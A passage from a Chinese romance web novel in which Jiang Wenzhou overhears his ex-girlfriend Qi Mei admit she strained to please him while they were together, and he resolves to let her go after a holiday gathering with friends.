孙茂芸:“……” 齐眉这下是真的忍俊不禁,抿着唇就笑起来。 刚吃完早餐,九点多那样,门铃响了,齐眉领着年年过去开门。 江问舟听见任清葭同年年打招呼的声音,便知道是客人来了。 第28章 第二十八章(二合一)而他还在沉湎过…… 五一假期的第二天,任清葭和陆阳来做客,还带了大包小包,甚至都没空手去揉一下年年手感极佳的耳朵。 金金和他们不熟,只是站在沙发边远远看着,江问舟索性抱起它一起走过去。 孙茂芸接过任清葭带来的几个袋子,笑着客气道:“来就来了,怎么还带这么多东西?” “都是自己店里做的,一锅出,不费事。”任清葭笑着应道,看到江问舟怀里的猫,立刻就走不动了,“那个……舟哥,我抱抱?” 江问舟笑着点点头,把金金递过去之前,还跟它说了句:“让舅妈抱抱,你老实点。” 任清葭听到这个称呼,忍不住眨了眨眼。 但想想可能他就是随口一说,不能代表什么,遂高兴地接过金金,哎哟一声:“这份量还挺压手。” 齐眉刚想说其实它体重还行,不算胖的,还没开口,就听江问舟接了句:“它这么瘦,不多吃点会长不大的。” 任清葭一愣,还没反应过来,就听齐眉噗嗤一下笑出声来。 下一秒就见孙茂芸的巴掌落到江问舟的肩膀上去了。 “你要死啊,这么大了还学人说话,少在这里阴阳怪气!” 这时才听齐眉解释道:“早上干妈给金金和年年煮了鸡蛋、三文鱼和鸡胸肉,他说这也吃太好了,干妈就说金金太瘦了,应该多吃点。” 原来是这个缘故,任清葭听完也忍俊不禁,真没想到江问舟看着这么温和沉稳的人,居然会这么促狭。 也许是因为在自己家?看他的打扮和姿态,自在又放松,她差点以为自己来的是孙阿姨家,而不是齐眉的住处。 大概是因为他们从小一起长大,所以格外亲密吧。 任清葭没有多想这事,抱着猫揉了一会儿,将它放下,跟着去给孙茂芸介绍自己带来的东西。 “这是芝士柠檬挞,我们店里的招牌,抹茶慕斯和芒果千层也很多客人喜欢,不过都是甜口的,叔叔得少吃点。” 她说着拿出来两个盒子,“这是腐乳炸鸡翅,叔叔吃应该没问题了。” 另外还有两盒桃酥,“这是西西让我顺路带的无糖铁棍山药桃酥,叔叔吃肯定没事的。” 另外还带了水果,是切好了的。 孙茂芸看着一桌的东西,忍不住笑着问江眀琮:“还是女儿贴心吧?” 江眀琮笑得眼睛都皱了起来,半晌扭头对江问舟说:“舟舟,你妈点你呢。” 江问舟啧了声,说:“我给你们约了假期之后的体检,这几天注意饮食和休息,争取到时候体检结果可以漂亮一点。” 江眀琮:“……” 齐眉忍着笑,帮忙将点心和先吃另外分装出一半,好方便他们带去医院探望纪叔叔。 还说:“要不干脆让小纪哥过来一起吃饭算了,反正纪叔叔有你们陪着。” 孙茂芸说行啊,顺口调侃道:“以前你们小的时候,我就想着哪天要是你们请同学来家里做客,我一定找借口出门,把空间留给你们,做一个识趣的家长,可一回都没等到。” “但没想到今天居然实现了。”她说着就忍不住一阵乐,“这怎么不算是好饭不怕晚呢?” 齐眉边笑边点头,不管是她还是江问舟,确实都没有把同学叫到家里来玩的习惯。 她们在这边分装东西,江问舟给任清葭和陆阳泡了茶,齐眉忙完过来的时候,正好听到任清葭夸这套房子的采光很好。 “一梯两户也清净,我们进来的时候看小区环境还挺不错的,就是不知道西西对面有没有人,不然在这边买一套,做邻居也挺好。” 齐眉听了就说:“不行啦,对面有人住的。” 孙茂芸接着她的话道:“我们当时来看房的时候,对门那套都已经卖出去了。” 接着她看向江问舟,冲他诶了声:“说起来,西西的邻居还是你的同事呢。” 江问舟闻言一愣:“……我同事?谁?” “是你们单位肛肠科的徐医生。”齐眉立刻回答道,还问他,“你认识么?” 江问舟想了想:“是不是女的?” 齐眉点点头,他就说:“认识倒是认识,在手术室也见过几次,说过话,她也请过我的会诊,但不算很熟,普通同事。” “……哦哦。”齐眉听得直眨了好几下眼,忍不住挠挠脸。 解释得这么清楚啊…… 孙茂芸收拾好了东西,招呼江眀琮出门,笑眯眯地道:“我们就先走了,你们在家好好的哈。” 又跟江问舟说把他的车开走了。 江问舟还问要不要送他们过去,不出意外的被拒绝了。 大人们一走,就剩他们四个了,一时竟然不知道干点什么才好。 纯喝茶聊天么,太无聊了,可要不无聊,又好像没什么好玩的活动。 齐眉端着一块芒果千层吃了两口,歪着头问:“要不……咱们来打牌?” “行啊,来呗。”任清葭兴致勃勃,还问要不要来点赌注。 齐眉很怕她说要搞什么真心话大冒险之类,干脆利落地拒绝了,义正辞严道:“拒绝黄赌毒是每个公民应尽的义务和责任。” 其他人:“……” 齐眉找出扑克牌,将茶几清空,四个人一人占据一边,开始玩斗地主。 聊天肯定是少不了的,比如任清葭就很好奇江问舟为什么会从申城回来,问道:“申城不好吗?我看很多人宁可在那边漂着,也不想回老家。” “那要看老家是哪儿了。”江问舟笑笑,慢悠悠地打着太极,“京申容都是一样的大城市,在哪儿都行,老家就在容城的申漂,如果不是家里实在不好,应该还是愿意回来的吧。” 他说着甩出去一对4,继续道:“别的不说,至少回来我的生活成本可以大大降低,不要房租,经常回家吃饭,在申城什么都要靠自己,你问西西是不是,光房租就几千了。” 齐眉还没来得及应声,任清葭就惊讶道:“你一个人住,房租也要这么贵啊?” 齐眉的神色一顿,下意识看向江问舟。 “谁说我是一个人住的?”江问舟笑笑,又说,“没吃苦,也不想吃苦,开销自然会大一点。” 也不知道这是在说谁。 任清葭跟他关系没到那么好,也不好追问,只下意识看向齐眉,试图从她这儿得到一些提示,甚至是答案。 却只看见齐眉正一手拿着牌,一手给年年和金金递磨牙的肉干,满脸事不关己似的神情,又好像根本没听到他们的对话。 于是她也不好问什么,只笑着一边出牌一边点头:“确实是这样,肯定还是在家省钱啦,我也去申城待过一段时间,觉得还是容城待着自在,轻松很多,穿老头衫出去也不担心自己丢人。” 江问舟失笑:“容城人的风格还是务实居多。” 齐眉这时看到自己能打得过的牌了,立刻甩出去一对大王,接着感觉背上突然一重,年年哈气的声音从背后传来,不由得哎呀一声。 “……你要把我压垮了!”她转了转头,伸手往后推了一把,哭笑不得地想把傻狗甩下去。 金金也想去凑热闹,江问舟眼疾手快地用逗猫棒把它引过来,接着又冲年年招了招手:“你也过来。” 见他要带自己玩,年年立刻就松开齐眉跑了过去。 背上的压力消失,齐眉总算松口气,翻出湿巾擦擦手,这才继续吃点心,咬着小勺子含糊地问:“到谁出牌了?” “到陆阳了。”江问舟应了一句,抬眼望向她。 看见她不施脂粉的干净脸上不知道怎么的多了一点奶油,嘴角一撇,忍不住露出一点好笑。 齐眉见他看了一眼自己,紧接着就笑了,不由得一愣,旋即心里开始忐忑嘀咕。 连忙拿过手机当镜子一照,发现嘴角多了一点东西,顿时老脸一红,连忙伸手揩干净嘴角,继续若无其事地看牌。 先抓住机会甩出去一张牌,接着问:“你们结婚的东西准备好了吗?” “没啊,这不一直没找到喜欢的首饰么。”任清葭漫不经心地回答道。 “你们真离谱,别人都是因为还没买房,你俩是因为还没找到喜欢的首饰,说出去谁敢信。”齐眉吐槽道,“我看就是你俩根本不着急,首饰都是借口!” 任清葭哈哈大笑,点头道:“你要这么说的话确实也是,毕竟其他东西在我看来都不难,房子车子都准备好了,酒席可以在自家的饭店办,打声招呼就可以了,我这边没娘家人,不会来,来了我也不招待他们,容城这边就是你们了,挑个周末摆酒,大家就都有时间来了,民政局更是随便一个工作日就可以去,我们也不挑日子,还有什么?没了吧,除了首饰。” 江问舟听到这里,扭头看向陆阳,见他满脸笑意,看样子是对未婚妻如此的折腾持纵容态度。 “……那、婚纱照呢?”齐眉眨眨眼,接着问道。 “已经想好去哪儿拍了啊。”任清葭耸耸肩,“这不就是在等首饰吗,拜托,我一辈子就这一天当一下公主诶,收拾不好看怎么行!” 齐眉嘿嘿一笑:“你要是可以,也可以每个周年都重新办一次婚礼拍一次婚纱照,我不介意吃席的。” “那你介意每年随一次份子吗?”任清葭似笑非笑地反问。 齐眉一听这话,吓得往后一仰,靠在沙发边缘,使劲摇头:“不行,很介意!” 大家不约而同地笑起来,你看,吃席可以,随份子不行,有便宜谁不想占,可任清葭又不傻,愿意吃力不讨好。 齐眉被大家笑得赧然,眼角余光一撇,看见江问舟眼角浮动的笑意,不由得脸上一热。 刚打完两局,纪琏过来了,江问舟趁机下桌,抱着猫在一旁笑着看大家继续打牌。 很快就到中午,大家决定叫个外卖。 点餐的时候,齐眉不知道想起了什么,忽然说了句:“我们这个样子好像很颓废啊。” 任清葭和陆阳不明所以,点个外卖而已,这算什么颓废。 倒是江问舟失笑,温声开解道:“生命也不全在于运动,忘了吗?你做实验的时候还从冰柜深处找到过十年前的标本,拿出来居然还能测出点什么。” 齐眉听了就歪在沙发上笑,背后是趴在那儿睡大觉的年年。 年年被她压了一下睁开眼,发现是它妈,又继续闭上眼睡了,乖巧地任由她靠着。 另外三个人还愣了一下才明白她为什么笑,大概是和他们专业有关的东西。 不过他们不了解,也就接不上什么话,只是任清葭看着她的闲聊,总觉得好像是有几分怀念的。 外卖点的是附近不远的一家饭店,没过多久就送到了。 点了六菜一汤,再倒出来用家里的盘子一盛,和家常菜也没什么区别。 齐眉还问大家要不要来点喝的,“嗨棒怎么样?口感清爽一点。” 纪琏忙道:“我就不喝了吧,一会儿下午还得回医院,得把车给芸姨开回去呢,她和江叔晚上要去吃牛排。” “……啊?他们晚上也不回来啊,那我们怎么说?”齐眉一愣,“吃火锅?” 任清葭和陆阳立刻说可以,然后对纪琏道:“叫个代驾就回去了,也不费事。” 这倒是也行,纪琏立刻从善如流,同齐眉道了声谢。 齐眉这儿的餐桌是标准的一桌四椅,可五个人吃饭,就少了一把椅子。 于是她找来一张备用红色胶凳,江问舟很顺手的接了过去,在她旁边放下。 齐眉眨眨眼,最后什么也没说。 呐,这可是他自己要坐的! 在家调酒和在店里不一样,就图一个快捷方便,所以齐眉调的是经典嗨棒,原料就两种,威士忌和苏打水。 她在每个杯子里都放入几块冰块,苏打水和威士忌二八分倒入杯中,吧勺搅拌均匀就做好了。 江问舟来帮她端酒,有些惊讶:“这么简单就做好了?” “是呀,家庭调酒能有多难,都很容易的。”她笑着应道,眉眼柔和放松。 江问舟看了她一下,笑笑。 这样调出来的嗨棒确实口感很清爽,其中还带着一点威士忌的醇香,大家喝了一杯之后又都续了一杯。 于是吃完饭,没人再想参与打牌这种要动脑子的活动,都懒洋洋地坐在客厅里聊天,齐眉还将很久没玩的游戏机翻出来,连接上电视,问谁要玩。 陆阳在接电话,江问舟和纪琏接过了手柄,玩过一把,抬头一看,齐眉和任清葭不知道去哪儿了。 ————— “这什么游戏?”陆阳接完电话,凑过来好奇问道。 “木筏生存,玩家在海洋中醒来,只有一艘小木筏,和一把钩子,只能用钩子获取海*面上的资源,用来制作工具和加固木筏,还得打怪,试试?” 江问舟一面解释,一面将游戏手柄递给他。 陆阳好奇地接过,笑道:“怎么感觉这么像我老婆看的那些什么……末日求生小说?” “确实是像。”江问舟笑着应道,顺势让开了位置,坐到一旁和年年挨在一起。 然后状似无意地问它:“年年,你妈妈呢?” 年年当然不会回答他,回答他的是陆阳:“西西跟我老婆去她房间了,说去看什么照片,还要午睡。” “这样么。”江问舟应了声就不再问了,好似并没有多关心齐眉去了哪儿。 看着陆阳和纪琏玩了几关游戏,他拍拍年年的爪子,温声道:“麻烦让让,我要去卫生间。” 站起来了,又吩咐年年不许跟着。 陆阳听见,就笑着招呼它:“快过来,厕所有什么好去的,放心吧,你舅舅这么大的人了,不会掉进坑里的。” 江问舟闻言笑笑,转身朝卫生间走。 沙发后面本就有一堵矮墙隔断,阻挡了一部分视线,加上陆阳和纪琏坐在地板上,又忙着专注游戏,一时也没发觉江问舟到底去了哪儿。 卫生间在两间卧室之间,他经过主卧时,发现门似乎是掩着的。 门板和门框没有完全对齐闭拢,再看地上,门板底部和地面接触的那条线,也并不是平直的。 江问舟鬼使神差地停下了脚步。 这是他人生中第一次干这种事,试图偷听别人说话,这事听起来就挺龌龊的。 一边是做人做事的底线,一边是想知道齐眉在做什么,理智和欲望立刻便出现了拉扯。 但很快这拉扯就决出了胜负。 “这是你什么时候的照片啊?啧啧啧,真漂亮。” “嗯……大学的时候吧,应该是读研了。” “这衣服挺好看的,很显身材,怎么现在没见你穿过啊?真看不出来你身材那么有料,快,狐狸精快让爷摸摸嘿嘿……” “……哎呀,讨厌啦!不准摸……其实这衣服有点紧身,动作一大就容易走光,就拍照好看而已。” “啊?看不出来啊,不过真的很好看,版型很好……” 江问舟站在门外,脚下像生了根,根本挪动不了一点。 他一边想,她们看的是齐眉的哪些照片,是不是他拍的,一边小心留意客厅的动静,生怕被陆阳和纪琏发现自己在偷听。 房间里齐眉和任清葭的对话还在继续。 他听到任清葭说:“原来你以前是这个样子的,好精致,好漂亮,跟现在……不能说完全两模两样吧,起码也是有百分之五十不同,你也才毕业没几年吧,怎么会变化这么大的?” 江问舟闻言顿时沉默,半晌,忍不住在心里叹了口气。 还能是为什么呢?当然是因为吃过了这份美貌带来的亏,所以她就选择了将这份美貌藏起来。 可是……这明明不是她的错。江问舟觉得心里又揪了起来。 房间里没有立刻传出齐眉的回答,她似乎也沉默了。 江问舟不知道她会怎么回答这个问题。 是以云淡风轻抑或难过遗憾的语气提起往事如实相告,还是语焉不详直接略过? 但无论哪种方式,其实都已经揭开她的伤口了吧?那种事哪怕只是想起来,都会是对她的伤害。 一次次被恶心到也很受伤的。 “那个时候啊……”齐眉的声音这时终于传了出来,“那会儿我在谈恋爱,我特别、超级喜欢那个人……” 她声音慢悠悠的,像一根丝线,将江问舟的心提了起来,在半空中晃晃悠悠。 晃出了一片难忍的酸涩,刺激得他呼吸不畅,连眼睛也变得又热又痛。 “没办法,那时候究极恋爱脑,正在媚男,他喜欢我漂亮优雅、上进努力,我就会努力将自己塑造成他喜欢的样子,讲真,挺累的。” “……嘎?” “是真的啊,你干嘛这样,不信啊?谈恋爱上头的时候,就是会想为他付出一切的啊,想要在他面前表现出自己最漂亮最优秀的一面,希望只有我才是最配得上他的那个人,这很好理解的吧?” “……啊、说得也是,我刚跟你哥在一起的时候也会这样……那现在呢?你觉得你现在的状态,是自己喜欢的吗?” “当然,我现在……第一喜欢的是自己,穿衣服也好,做什么事也好,最重要是我喜欢,我觉得挺好的。” “那下一次你谈恋爱,还会这么恋爱脑吗?” “……不会了吧,我不会再像喜欢他那样喜欢一个人了……而且谁喜欢穿这种这么……啊、容易走光的裙子,这高跟鞋穿着脚多痛你应该懂的吧,美丽刑具啊,我每天七点半就要到科室,七点前就得出门不然来不及,所以我六点就起来化妆了,晚上十二点才睡,困得要死,申城冬天多冷啊,我穿短裙配光腿神器,上半身蒸松糕下半身卖凉粉……” “我靠,你怎么坚持下来的?在一起多久啊,一直这样?” “一直啊,从在一起之前算的话,整个大学吧,八年……我也知道辛苦,可是、他夸我漂亮啊!说我是全世界最漂亮的女孩子啊!” “……这你就满足了?” “啊、不然呢?我就是为了他才打扮的啊,他夸我,我的目的不就达到了?虽然真的坚持得很辛苦,但是我也没亏,起码化妆技术是练出来了,哦,他还喜欢我学习成绩好,虽然我学得要生要死,但最后我考研成功了呀,文凭多好看,哈哈,人没了,起码还落个学历……” 对话声还在传出来,可江问舟已经听不进去了。 他满脑子都是齐眉说的“恋爱脑”“媚男”“辛苦”之类的字眼,突然觉得一阵恍惚,世界似乎再一次发生了颠倒。 上一次有这种感觉,是得知方仕平骚扰和威胁过齐眉,而她却对他三缄其口。 这一次又是为什么呢? 哦,对,她说辛苦,她说和他在一起时很辛苦…… 他曾经以为,自己所做的一切,督促她学习和自律,夸奖她取得的每一点进步,盛赞她在意的容貌和装束,是在对她好。 他看着她从一开始什么都不懂,笨手笨脚,到每一项操作都烂熟于心、完美呈现,从写论文连格式都不懂,到名字顺利出现在核心期刊,他以为她取得的这些成绩,就是他们双向奔赴的证明。 可是……现在她说她坚持得很辛苦,她所做的一切,都是为了取悦他,为了成为他喜欢的完美女友。 要成为志同道合、琴瑟和鸣的灵魂伴侣,原来只是他的一厢情愿,他是想夫唱,可她不愿妇随。 江问舟愣愣地转过身,回到客厅,在沙发上坐下,沉默地看着电视屏幕上跳动的游戏角色,陆阳和纪琏还在操纵角色努力获取生存物资。 他却想起分手时齐眉回复他的最后一条信息,她说她对治病救人兴趣不大,只是想迎合他…… 原来她早就说过同样的话。 如果只是为了和他分手而编造或者夸大对专业的不喜,她没必要对别人也这么说,那就……是真的不喜欢了吧? 难怪她从不觉得遗憾,也对,放弃自己不喜欢的东西,有什么可遗憾的呢?觉得可惜、觉得痛心的,一直以来都只有他而已。 齐眉已经向前走,从悦人到悦己,找到自己的想做的喜欢做的事,有了自己生活的锚点。 而他还在沉湎过去,幻想有一天她会和他一起回到从前。 你好像真的太自大了。江问舟在心里对自己说了一句。 他想起齐眉以前,她有多在意自己的形象呢?她从来不会头发凌乱地出现在他面前。 她研二那年搬去和他同住,朝夕相处,同吃同住,睡在同一张床上,他发现,她晚上睡觉时居然还是把头发扎起来的。 她会把头发用专门的发圈扎成一个看起来整齐的丸子头,说那样头发就不会睡着睡着沾到脸上,而且可以减少头发的摩擦,不会被压塌,也不会变得凌乱毛躁。 他以前以为她爱美只是因为爱美,所以哪怕麻烦一点也是没办法的事,谁叫你爱美呢?但原来不是这样的。 只要是她觉得有必要,哪怕是不喜欢的事,她也可以做得很好很好。 好到旁观的人真的以为她是发自内心的喜欢和热爱。 江问舟不由得苦笑,为了别人而勉强自己确实很辛苦,而让她这样为难的人,正是他。 既然这样,不如就……算了吧。 当脑海里浮现这个念头的同一秒,他听见自己心里发出的一声沉重叹息。 那叹息声撞击着心脏,隐隐炽痛顺着神经攀爬到他的头脑勺,让他双目模糊。 直到听见好像是纪琏在问他:“问舟你要不要玩一会儿?还挺有意思的。” 他的意识猛然回笼,迅速调整好自己的神色,笑着接过纪琏递过来的游戏手柄,“那我也试试。” 游戏确实还不错,至少他在动脑筋琢磨怎么通关的时候,会暂时忘掉刚才那些纷乱的心事。 时间就这样过去了,齐眉和任清葭看完照片,又睡了半个小时午觉,醒来已经是下午三点多。 任清葭翻身,手臂横过齐眉的腰,眯着眼含糊问道:“吃不吃下午茶?” “来一杯咖啡醒醒神?不要喝酒了,越喝越想睡。”齐眉咕哝着应道,打了个哈欠。 任清葭说好,坐起来后拍拍她:“起来,姐给你做一杯特调。” 齐眉在床上赖了一会儿才坐起来,闭着眼将头上的丝绸发圈解开,柔顺的长发立刻从肩膀滑落,稍微拢一下,就整齐服帖得像一匹上好的绸缎。 任清葭看了忍不住伸手摸摸,笑着感慨道:“这么好的头发,你可千万别想不开再去烫染,不然包你后悔一辈子。” 过年之前孙茂芸做头发,齐眉去接她吃饭,在发廊那儿被Tony拉住推销半天之后居然有点心动,还拿了人家的宣传单回来研究,问她自己适合什么发型。 毕竟她上一次换发型都是两三年前刚回来的时候了。 幸好被她拦住了,不然这养得那么好的一头柔顺秀发又要再遭荼毒。 齐眉屈腿坐在床上,脚心对着脚心,哼了声:“我迟早要再去烫一个,还要换一个发色,从头做人!” “我等你后悔。”任清葭点点头,拍拍她肩膀,转身拉开门出去。 齐眉跟在她后面出来,顺手带上门。 靠近客厅时看见江问舟还在认真盯着电视屏幕里的游戏角色,头也不回,不由得有些惊讶,没想到他竟然喜欢这种游戏。 “谁要喝咖啡吗?清葭姐说要做特调哦。”她收回目光,提高音量问了句。 陆阳立刻举手:“来一杯冰美式,谢谢。” “我也是。”纪琏揉着金金的肚皮追加一杯。 齐眉看向江问舟,提醒他:“舟哥?” 江问舟按着手柄按键的手指一松,像是刚被喊回过神似的,扭头冲她笑了一下:“不用了,多谢。” 说完调侃似的解释:“天天在办公室喝咖啡,都喝腻了。” “这样啊……”齐眉微微一愣,问他,“那你……要喝茶吗?” 江问舟扭头,定定看了她几秒,才说:“有的话当然好。” “怎么会没有,干爸天天喝茶。”齐眉觉得有些奇怪,但还是笑着应了句。 江问舟也笑笑,没说什么,回过头继续玩手机。 喝过咖啡,纪琏就回医院去了,剩下四个人讨论着晚上是不是吃火锅,要什么口味才好,是鸳鸯锅还是纯辣锅,还要看谁的账号点外卖最便宜。 当然,热烈讨论的只有他们三个,江问舟在一旁玩着游戏当听众,只有在被问到的时候才会应上一句。 齐眉看了他好几回,见他都是在认真玩游戏,也就没觉得哪里不对劲。 吃完火锅,九点多快十点的时候,任清葭和陆阳刚走,孙茂芸和江眀琮就回来了。 江问舟心里偷偷松了口气,他眼下实在不想和齐眉单独待在一块儿。 孙茂芸还买了不少水果,尤其是芒果,说是在路边看到一个老人家在摆摊,觉得人家怪辛苦的,就干脆都要了。 “舟舟多拿点回去,可以拿去办公室跟同事分享。” 江问舟点头应好,说:“我明天还得值班,就先回去了。” 说完转头要找西西的猫包,要把它也带回去。 孙茂芸连忙道:“你带它回去做什么,你明天要上班又不在家,让它在这儿怎么了嘛?” 齐眉正抱着猫呢,闻言胳膊立刻就收紧了一点。 “猫是独居动物,用不着人时刻陪着。”江问舟失笑,自我调侃道,“没有它我睡不着,你就让我带它回去吧,改天再送回去陪你们。” 总之,在孙茂芸的抱怨声里,江问舟到底是把西西装进了猫包里。 只是这样一来,他手里的东西就有点多了,于是他转头对齐眉道:“西西帮帮忙,帮我东西提到楼下吧,可以吗?” 齐眉闻言一愣,下意识抬手指指自己鼻子:“……啊?我吗?” 孙茂芸立刻就答应道:“对,是你,快给你哥帮帮忙。” 齐眉这才应了声好,起身去接过那袋芒果,顺便还把年年的牵引绳给它带上了。 “那就顺便下去遛遛狗吧。”她说。 第29章 第二十九章(二合一)最后一次了,西…… 门口的灯亮着,明亮的白光将人的影子往墙上投,江问舟低头看一眼因为出去玩而高兴的年年,忍不住笑了一下。 齐眉一手提着芒果,一手拉着年年,跟在江问舟身后,从楼上下来,一路走到小区的地面临时停车场。 “芒果放后座还是后备箱?”她站在车门边问道。 江问舟把装着金金的猫包放到副驾,回头接过她手里的芒果袋子,拉开后座的车门,将东西随意放到了座椅上。 齐眉看他把车门关上,刚想跟他说改天见,就听他忽然叫了声她的名字:“……西西。” 声音很温和,但不难听出其中隐含着一丝犹豫。 齐眉心里一顿,心说他让她出来送他果然是另有目的,还真是猜着了。 “……怎么了?”她犹豫几秒,还是主动问道,“还有什么事要跟我说吗?” 江问舟似乎没料到她会这么直接,先是微微一愣,旋即失笑,点点头。 “不算什么重要的事,就是……”他顿了顿,停了下来。 他望着她的目光变得很柔和,齐眉回视着他,只觉得丈二和尚摸不着头脑。 她眨眨眼,半是催促半是疑惑地问道:“就是什么?” 江问舟笑起来,语气和平时没什么不同的问了一个他之前就问过的问题:“你这几年……过得怎么样?” 齐眉一愣:“……挺好的呀。” 他点点头,接着问:“觉得开心吗?” 齐眉不知道他到底想问什么,干脆顺着他的意思来,点点头,很干脆地回答道:“开心。” “和以前相比呢?是现在开心自在,还是以前?”江问舟紧追不舍似的,继续问道。 齐眉被问得一愣,疑惑地看着他:“……啊?为什么、突然这么问?” “就是想知道。”江问舟应了一句,身子往后微微一仰,靠在车门上。 齐眉觉得这人真是奇怪,但想了想,还是回答道:“嗯……认真来说,各有各的好吧,以前很开心,现在也很开心。” 除去方仕平骚扰她和她要和他分手那段时间比较乱糟糟以外,其他时候她都觉得自己过得挺好的。 工作稳定,有房有车还无贷,父母正当壮年还有退休金和公费医疗,说实话,这跟没有后顾之忧没什么差别。 就这要是还觉得不开心,她就不知道自己该怎么样才能过得好了。 但江问舟很明显并不满意于这个回答。 他啧了声,沉默半晌,才问:“如果现在有一个机会……让你回到几年前,我们还在一起的时候,你会想回去吗?” 齐眉一怔,她这次是真的被问住了。 心跳好像在这一刻也开始逐渐加快,脑海里念头急转,这一秒在想该怎么回答,下一秒就猜他到底什么意思。 回到他们还在一起的时候?为什么?为什么是这个时间点,而不是什么回到小时候回到高中? 他是不是在暗示自己什么?如果是,为什么? 是想复合?齐眉想到这种可能,心跳陡然变得更快。 如果真的是这样,她要答应吗?或者说,她能答应吗? 齐眉不知道,所以她只能有些讪讪地顾左右而言他:“怎么突然这么问……都说人要往前看,不要总停留在过去……” 话还没说完,就被江问舟目不转睛的眼神给看得噎了回去,只觉得已经尴尬到开始用脚趾抠地。 不是……哥你怎么一点征兆都没有,没有任何试探和铺垫,非得这么直接硬着陆吗? 不管了,先敷衍过去,以后的事以后再说。 但在江问舟听来,这就等于是完全的拒绝和否定,不由得笑笑。 也对啊,既然都觉得以前和他在一起时很辛苦了,又怎么会想回去呢? “当下确实是最好的。”他笑着点点头,声音温和而平缓,转瞬又带上了一丝愧疚,对她说了声,“对不起啊,西西。” 齐眉一愣:“……什么?” 说真的,她真的不知道这人今晚是怎么了,奇奇怪怪的,总觉得他是不是有点……前言不搭后语? 她越听越迷惑,根本不知道该怎么回应他的话,只好咬着下唇不吭声。 听听再说吧,听听他要说什么。 江问舟从她脸上纠结的表情里看到了她此刻的无奈,忍不住再次笑起来。 柔和的笑意从他嘴角爬到眼尾,但却在路灯昏黄光线的渲染下,似乎多了几分哀伤。 齐眉看得一阵怔怔。 “小的时候你刚来家里,爸妈就交代我,要好好照顾妹妹。”他看着她,目光沉静又愧疚,“后来……总之是我没有照顾好你,这几年让你受了很多委屈,也坚持得很辛苦,我却一直没有注意到,也没有问过你真正想要什么。” “我好像……”他眼睑微微一垂,又立刻抬起望着它,只是脸上神情变得有些自嘲,“不管是当哥哥,还是当男朋友,都很不称职,对吧?” 齐眉愣愣地看着他,这次不是什么想看看他到底要说什么,而是真的完完全全……一个字也说不出来。 他到底知不知道他现在的表情是什么样的? 她极少在江问舟脸上看到这种挫败的表情,上一次是她坚决要分手,他不愿意,但又拗不过她的坚持。 那时他脸上的挫败里,还藏着强烈的不甘心,像是伺机随时给她来一道反扑。 她那会儿都觉得,要是自己反口说哎呀算了不分了,肯定要被他气得按住打一顿。 至于怎么打的你别管。 但是现在呢,她端详着他的脸色,竟然从这份挫败里,看到了深切的沮丧,但同时又好像隐隐约约有那么一点释然。 齐眉正觉得错愕,想问他到底怎么了,就见他突然站直身,往她面前跨了一步。 她吓了一跳,下意识想后退。 但她的反应快不过江问舟,只这短短的一瞬,她就被他弯腰抱住了。 “……不、放、放开我。”齐眉先是一愣,旋即反应过来,立刻开始挣扎,只觉得一股热气从脚底一路蒸腾到头顶,“江问舟你发什么疯?!” 你丫不会是想霸王硬上弓吧?! 发现齐眉在挣扎,年年立刻吠了一声,朝着江问舟呜起来。 但没人管它。 江问舟紧紧按着齐眉的背,将她箍在怀里,短促的一个深呼吸过后,便很干脆地松开了手。 “最后一次了,西西。”他看着她,笑意温和,又弯腰揉揉年年的大脑袋。 然后对齐眉说:“早点回去,不要遛得太晚。” 声音和神态都恢复到了平常,温和,沉稳,这是所有人都认识的那个江问舟。 可齐眉却只觉得怪异,像是在他脸上看到了一层很厚很厚的人皮面具。 密不透风,遮住了他脸上所有可能出现的表情,只有平静温和示于人前。 这变脸也太快了,好像刚才那个人不是他似的,齐眉根本反应不过来,喉咙里像是被什么堵住了一样,想问的话根本无法出声。 可江问舟不管她啦,像是完成了什么仪式,转身绕过车头去到驾驶座那一侧,拉开车门坐进去,车灯闪了两下,车子启动。 先是缓慢地离开停车位,接着一点点提速,很快,齐眉就连车屁股都见不着了。 齐眉:“???” 发生了什么事?她有些愣愣,好半晌才完全反应过来。 随之而来的,是一股无论如何都无法忽视的空虚,甚至可以称之为恐慌。 可是……她在害怕什么呢? 齐眉觉得好茫然,遛狗也没心思了,拽着年年有些失魂落魄地往回走。 每走一步,就觉得心里空了一分。 年年不会说话,可却能感知到她的情绪,于是格外听话乖巧,贴着她的腿往回走,尾巴都不摇了。 直到回到家门口,她才站定了,抬手用力搓搓脸,调整好情绪,深吸口气,开门进去。 “干爸干妈,我们回来啦。” “回来了?”孙茂芸从厨房探头,“你哥回去了吧?” 齐眉低头换鞋的动作顿了一下,然后才嗯了声,问她:“你在厨房做什么呀?” “快来端芒果去吃。”孙茂芸边说边把果盘递出来。 齐眉诶了声,过去接过果盘,转身放到桌子上,再进厨房去洗手,边洗边问孙茂芸:“你和干爸去了哪家餐厅吃牛排啊?味道怎么样?” “沿江路那边,味道还行吧,主要是夜景好看。”孙茂芸说完,问她,“今晚没去店里,小田他们忙得过来么?” “应该还行吧。”齐眉点点头,“平时没有我不也过来了,虽然我是老板,但也没有那么重要啦。” 孙茂芸年轻时在会计事务所工作,每年都要带着下属们审计不少企业,私企央企都有,见过不知多少老板级人物,见识比她多得多,闻言便笑了声。 “老板不重要不行,老板太重要也不行,你呀,还有得学呢。” 齐眉听了就乖巧地点点头。 洗干净手,她出去吃芒果,边吃边问纪达的情况。 她当然知道手术还没做,没什么意外的话啥事没有,但例行关心总是要的。 根本没提和江问舟在楼下发生的事,她相信江问舟也不会说的。 等齐眉吃完芒果,洗漱结束后出来,已经是晚上十一点过半,出来便正好碰见孙茂芸在跟江问舟视频。 孙茂芸问他:“到家了吧?快让我看看大孙女。” 她接着就听见一声咪呜,看来是他把金金抱过来了,年年立刻就凑到镜头面前,哈着气要去舔。 孙茂芸把它往旁边扒拉开,吐槽江问舟:“真不知道你把它带回去做什么,有人帮你照顾还不好?” 江问舟的声音无奈:“好是好,但就是太好了,我反而不放心,绝育的猫本来就容易胖,你给吃太好,胖起来又要让它减肥,到时候你又要心疼了。” 说得还挺有道理,孙茂芸一时没法反驳,只好说:“那你以后可得经常带它回来,年年也会想姐姐的。” 江问舟那头却没有立刻答应,齐眉一边擦着头发,一边忍不住心里一提。 孙茂芸见江问舟一直不吭声,不知道在那边干什么,就喊了他一声:“舟舟?” 这时江问舟才嗯了声,解释说:“回了份邮件。” 接着他问:“你喜欢猫,要不要我抱一只给你养?” 孙茂芸有些不愿意:“有金金就够了,要那么多干什么。” “可是我忙起来没有时间经常送金金回去。”江问舟温声解释道,又说,“我给你抱养一只好看的,你喜欢大体格的,还是狸花猫那种?” 孙茂芸还在跟他聊猫,齐眉却低着头心里一阵不快。 这种感觉其实有点莫名,她心里有个潜意识在告诉她,这不对劲。 